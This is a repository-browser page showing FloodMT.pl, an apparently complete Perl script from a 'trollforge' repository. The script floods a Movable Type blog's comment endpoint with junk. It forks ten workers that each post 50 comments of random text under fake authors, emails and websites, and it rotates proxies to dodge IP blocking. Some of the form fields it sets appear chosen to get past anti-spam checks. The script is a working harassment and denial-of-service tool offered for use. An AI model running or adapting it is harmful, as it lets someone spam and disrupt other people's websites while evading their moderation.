source: trollforge/dsp-trollforge/MovableType/FloodMT.pl @ 212

Revision 41, 3.1 KB checked in by sam, 8 years ago (diff)
  • DSP's trollforge snapshot.
  • Property svn:executable set to *
  • Property svn:keywords set to Id
Line 
1#!/usr/bin/perl
2
3use strict;
4use warnings;
5
6use LWP::Simple;
7use LWP::UserAgent;
8use Term::ANSIColor qw(:constants);
9$Term::ANSIColor::AUTORESET = 1;
10
11
12# ---BEGIN--- EDIT
13my $entry_id = 666;
14my $url = "http://www.somesite.com/mt/mt-comments.cgi";
15# each fork will post $repeat comments.
16my $repeat = 50;
17my $forks = 10;
18
19my $proxyfile = "mtproxies";
20# ---END--- EDIT
21
22my (@pl, $author, $email, $text, $website, $response);
23
24# if you delete this, floodmt will read proxies from a file as defined by $proxyfile
25@pl = (
26                'http://proxies.go.here:port',
27                'http://like.this:port'
28);
29
30my $bot = LWP::UserAgent->new;
31$bot->agent('Mozilla/5.0 [en] (FloodMT; http://floodmt.sf.net)');
32
33sub rnd_int {
34        return (int(rand()* shift));
35}
36
37sub rnd_char {
38        return (chr(rnd_int(24)+97));
39}
40
41sub rnd_string {
42        my ($min, $max) = @_;
43        return gen_string(rnd_int($max-$min)+$min);
44}
45
46sub rnd_proxy() {
47        return @pl[rnd_int($#pl)];
48}
49
50sub gen_string {
51        my $max = shift;
52        my $i=0;
53        my $string;
54        while($i<$max) { $string.=rnd_char();$i++ }
55        return $string; 
56}
57
58sub gen_tld {
59        my @tld=('.ee','.us','.be','.sk','.int','.mil','.gov',
60                '.org','.com','.net','.cx','.no','.eu');
61        return (@tld[rnd_int($#tld)]);
62}
63
64sub gen_email {
65        return (rnd_string(3,13)."@".rnd_string(3,13).gen_tld())
66}
67
68sub gen_website {
69        return ("www.".rnd_string(3,15).gen_tld());
70}
71
72sub msg {
73        return (CYAN, "-!- ", WHITE);
74}
75
76sub flood {
77        my $p = shift;
78        my $i = 0;
79        my $pr;
80        my $suc = 0;
81        while($repeat > $i) {
82                $i++;
83
84                my $email='';
85                my $n=0;
86       
87                $author = rnd_string(4,20);
88                $email = gen_email();
89                $text = rnd_string(400,900);
90                $website = gen_website();
91                $pr = rnd_proxy();
92                $bot->proxy('http', $pr);
93
94                print msg() ,"child $p: ($suc/$i) ", CYAN, "[$pr] ", WHITE, "posting comment $i/$repeat ... ";
95
96                $response = $bot->post($url,
97                        [
98                        entry_id => $entry_id, 
99                        author => $author,
100                        email => $email,
101                        text => $text,
102                        post => 'Post ',
103                        checkbox => 'false',
104                        snoop => 'goaway',
105                        bully => 'goaway',
106                #       code => 'later',
107                #       scode => 'later',
108                        url => $website
109                        ],     
110                );
111                if($response->is_success()) {           
112                        $suc++;
113                        print GREEN, "OK.\n";
114                }
115                else { 
116                        print RED, "Failed.\n";
117                }
118        }
119        print msg(), "child $p exiting... \n";
120}
121
122my $arg = (shift @ARGV || '0') ;
123if(($arg eq '-v')||($arg eq '--version')) {
124        print msg(), "FloodMT 1.2 on ".`uname -sp`;
125        exit(0);
126} elsif(($arg eq '-h')||($arg eq '--help')) {
127        print "\nOpen floodmt.pl with your editor of choice and read the damn thing\n";
128        print "use -v or --version to find out which floodmt version you have\n";
129        exit(0);
130}
131
132unless(@pl) {
133        open (PROXYFILE, $proxyfile) or die "$!";
134        my $h=0;
135        while(<PROXYFILE>) {
136                chomp;
137                $pl[$h] = $_;
138                $h++;
139        }
140}
141
142close PROXYFILE;
143
144print msg(), "init complete, loading children... \n\n";
145sleep(1);
146
147for(my $w=0; $w < $forks; $w++) {
148        my $id = fork();
149        if($id==0) {
150                flood($w+1);
151                exit(0);
152        }
153        else {
154
155        }
156}
157
158sleep(1);
159print "\n\n", msg() ,"floodmt is going to sleep. don't forget to wake it up.\n";
160print msg(),"should you change your mind press C-c and it will all end.\n\n";
161sleep();
Note: See TracBrowser for help on using the repository browser.